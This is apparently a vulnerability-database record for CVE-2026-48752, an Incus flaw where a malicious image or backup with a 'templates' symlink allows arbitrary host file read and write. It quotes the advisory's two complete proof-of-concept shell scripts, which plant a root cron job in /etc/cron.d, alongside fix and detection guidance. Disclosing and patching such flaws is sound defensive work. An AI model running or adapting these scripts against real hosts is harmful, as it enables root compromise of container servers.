{"id":"CVE-2026-48752","kind":"vulnerability","aliases":["CVE-2026-48752","GHSA-vxp5-584q-c479"],"related":[],"title":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image","description":"### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat<<__EOF__>\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat<<__EOF__>\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat<<__EOF__>\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","summary":"Incus, a container and virtual machine manager, can be tricked by a crafted container image or instance backup that contains a symlink named templates, letting it access arbitrary host directories. An attacker can read and write arbitrary files on the host, possibly leading to command execution as root, for example by planting a cron job.","severity":"critical","cvss":9.9,"epss":0.00731,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-73","incus","linux","runtime","self-hosted"],"not_affected_if":["incus-patched-7.2.0","trusted-images-only"],"how_to_check":"- Check the installed version with `incusd --version` and compare it against the fixed release.\n- Look for whether untrusted images or instance backups are imported with `incus image import` or `incus import`.\n- Review who can run `incus image import` and `incus import` on the host.","fix":"- Incus `7.2.0` (affected versions are earlier than `7.2.0`).","status":"open","published_at":"2026-06-26T18:46:31+00:00","first_seen_at":"2026-11-05T23:17:34+00:00","triaged_at":"2026-11-05T23:17:39+00:00","updated_at":"2026-11-05T23:17:39+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-11-05T23:17:39Z","model":"claude-haiku-5-5","output":{"fix":"- Incus `7.2.0` (affected versions are earlier than `7.2.0`).","reach":"network","title":"Incus: malicious image or backup reads and writes host files","impact":"high","summary":"Incus, a container and virtual machine manager, can be tricked by a crafted container image or instance backup that contains a symlink named templates, letting it access arbitrary host directories. An attacker can read and write arbitrary files on the host, possibly leading to command execution as root, for example by planting a cron job.","audience":"businesses","category":"runtime","nicknames":[],"who_cares":["incus","self-hosted","linux","containers"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker reads and writes arbitrary host files, possibly running commands as root.","analyst_note":"Confirm whether the image import path requires an authenticated admin role, and check the GHSA page for the exact list of affected operations.","how_to_check":"- Check the installed version with `incusd --version` and compare it against the fixed release.\n- Look for whether untrusted images or instance backups are imported with `incus image import` or `incus import`.\n- Review who can run `incus image import` and `incus import` on the host.","plain_action":"","needs_analyst":true,"not_affected_if":["trusted-images-only","incus-patched-7.2.0"],"who_is_affected":"Hosts running incusd below 7.2.0 that import container images or instance backups from sources that are not fully trusted. An attacker who can supply such an image or backup to the server can reach files outside the container. Hosts that only use images from trusted sources are at lower risk but should still update.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000906,"input_tokens":6079,"output_tokens":597,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-01':494C,495C,503C,504C '-2026':16A,24A '-2490':448C,467C '-32':336C,611C '-48752':17A,25A '-4e85':449C,468C '-73':31B '-88':459C,478C '-9':450C,469C '/afrw-backup-templates-symlink.tar':564C,567C '/afrw-image-templates-symlink.tar':275C,279C '/bin/sh':222C,377C '/etc/cron.d':202C,245C,357C,550C '/img':267C,555C '/img/backup':397C '/img/backup/container':418C '/img/backup/container/backup.yaml':421C '/img/backup/container/metadata.yaml':530C '/img/backup/container/rootfs':547C '/img/backup/container/templates':552C '/img/backup/index.yaml':400C '/img/metadata.yaml':250C '/img/rootfs':242C '/img/templates':247C '/lxc/incus/v7/cmd/incusd':28A '/pwned':324C,599C '0':270C,272C,558C,560C '00':497C,506C '00z':498C,507C '1':256C,536C '102':438C '153ef0fc7be5':453C,472C '2024':493C,502C '24d829e5':456C,475C '24d829e5-d74a':455C,474C '4285':458C,477C '584q':21A '58a0f7de':447C,466C '64':253C,431C,533C 'access':64B,181C 'actor':179C 'add':161C 'afrw':263C,282C,289C,294C,303C,313C,331C,342C,403C,425C,511C,540C,569C,578C,588C,606C,617C 'afrw-backup-templates-symlink':402C,424C,510C,539C,568C,577C,587C,605C 'afrw-image-templates-symlink':281C,288C,293C,302C,312C,330C,341C 'afrw-templates-symlink':616C 'alia':280C 'allow':166C,176C 'anywher':211C,366C 'arbitrari':3A,65B,74B,108C,116C,183C,187C 'architectur':251C,429C,531C 'archiv':156C 'archive.unpack':125C 'argument':154C 'attack':69B 'backend':407C 'backup':55B,100C,150C,349C,404C,426C,512C,541C,563C,570C,579C,589C,607C 'be369140fb49':462C,481C 'c':274C,322C,562C,597C 'c0':461C,480C 'c0-be369140fb49':460C,479C 'c479':22A 'call':124C 'cat':248C,398C,419C,528C 'cd':265C,553C 'cleanup':228C,233C,383C,388C 'code':437C 'command':82B,117C 'config':299C,309C,327C,338C,445C,464C,520C,526C,574C,584C,602C,613C 'contain':29B,40B,51B,57B,121C,193C,412C,422C,433C,516C 'content':517C 'craft':50B,96C 'creat':214C,329C,369C,491C,604C 'create/write':107C 'creation':254C,534C 'cron':91B 'cronjob':216C,371C 'cve':15A,23A 'cwe':30B 'd':227C,382C 'd74a':457C,476C 'date':255C,535C 'default':410C,444C,488C,523C 'descript':258C,538C 'destpath':127C 'detail':119C 'devic':135C,482C,484C 'dir':408C,525C 'directori':67B,184C,198C,353C 'disk':490C 'driver':524C 'edit':186C,340C,615C 'eof':264C,415C,527C,544C 'ephemer':441C 'eu':224C,379C 'exampl':87B 'exclud':134C 'execut':83B,118C 'exit':234C,389C 'expand':463C,483C 'extract':130C 'f':273C,561C 'fals':414C,440C,442C 'fb2':452C,471C 'fb2-153ef0fc7be5':451C,470C 'file':4A,75B,109C,188C 'filenam':317C,592C 'filesystem':519C 'ghsa':19A 'ghsa-vxp5-584q-c479':18A 'github.com':27A 'github.com/lxc/incus/v7/cmd/incusd':26A 'group':271C,559C 'host':8A,37B,66B,78B,112C,205C,262C,360C 'hup':238C,393C 'id':219C,323C,374C,598C 'imag':14A,52B,97C,122C,194C,277C,283C,290C,295C,304C,314C,332C,343C 'imagefil':126C 'impa':621C 'import':278C,566C 'incus':1A,32B,38B,276C,286C,298C,308C,326C,337C,565C,573C,583C,601C,612C 'init':287C 'instanc':54B,99C,149C,348C 'int':235C,390C 'internal/server/storage/drivers/driver_dir_volumes.go':151C 'internal/server/storage/utils.go':123C 'job':92B 'last':499C 'lead':80B,114C 'let':62B 'level':145C,170C 'link':164C 'linux':33B 'ln':243C,548C 'ls':301C,576C 'machin':43B 'malici':13A,178C,192C,347C 'manag':44B 'map':200C,210C,355C,365C 'mkdir':239C,394C,416C,545C 'mktemp':226C,381C 'mode':157C 'n':325C,600C 'name':60B,401C,423C,509C,522C 'node':136C 'optim':413C 'owner':269C,557C 'p':240C,395C 'path':131C,486C 'plant':89B 'poc':191C,259C,335C,346C,610C,620C 'pool':409C,487C,521C 'possibl':79B,113C 'practic':174C 'printf':319C,594C 'profil':443C 'properti':257C,537C 'quit':236C,391C 'read':5A,71B,105C,307C,582C 'reject':141C 'rf':230C,385C 'rm':229C,384C 'root':85B,221C,320C,376C,485C,595C 'rsync.localcopy':152C 'run':218C,373C 'runtim':34B 'safe':163C 'safe-link':162C 'self':36B 'self-host':35B 'set':223C,378C 'sh':321C,596C 'shared/archive/archive.go':133C 'show':311C,586C 'special':95C 'state':439C 'status':434C,436C 'stop':435C 'summari':93C 'symlink':11A,59B,147C,172C,261C,285C,292C,297C,306C,316C,334C,345C,406C,428C,514C,543C,572C,581C,591C,609C,619C 't00':496C,505C 'tar':129C,268C,556C 'templat':10A,61B,146C,171C,197C,260C,284C,291C,296C,300C,305C,310C,315C,328C,333C,339C,344C,352C,405C,427C,513C,542C,571C,575C,580C,585C,590C,603C,608C,614C,618C 'term':237C,392C 'tmpdir':225C,231C,241C,246C,249C,266C,380C,386C,396C,399C,417C,420C,529C,546C,551C,554C 'top':144C,169C 'top-level':143C,168C 'trap':232C,387C 'trick':47B 'type':411C,432C,489C,515C,518C 'use':103C,153C,500C 'via':9A 'virtual':42B 'volatile.uuid':446C,465C 'volatile.uuid.generation':454C,473C 'volum':508C 'vxp5':20A 'write':6A,73B,318C,593C 'x86':252C,430C,532C","nicknames":[],"mitigations":[],"who_affected":"Hosts running incusd below 7.2.0 that import container images or instance backups from sources that are not fully trusted. An attacker who can supply such an image or backup to the server can reach files outside the container. Hosts that only use images from trusted sources are at lower risk but should still update.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v7"],"labels":["containers","critical","cwe73","go","incus","linux","runtime","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:02:01+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-vxp5-584q-c479","url":"https://github.com/advisories/GHSA-vxp5-584q-c479","severity":"critical","published_at":"2026-06-26T18:46:31+00:00","modified_at":"2026-11-05T23:15:31+00:00","first_seen_at":"2026-11-05T23:17:34+00:00","fetched_at":"2026-11-05T23:28:30+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-48752","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48752","severity":null,"published_at":"2026-08-21T15:16:40+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T23:48:40+00:00","fetched_at":"2026-11-05T23:48:40+00:00","note":null}],"documents":[{"id":81442,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-vxp5-584q-c479","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":81443,"url":"https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:02:01+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[{"type":"epss","score":0.00731,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48752"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}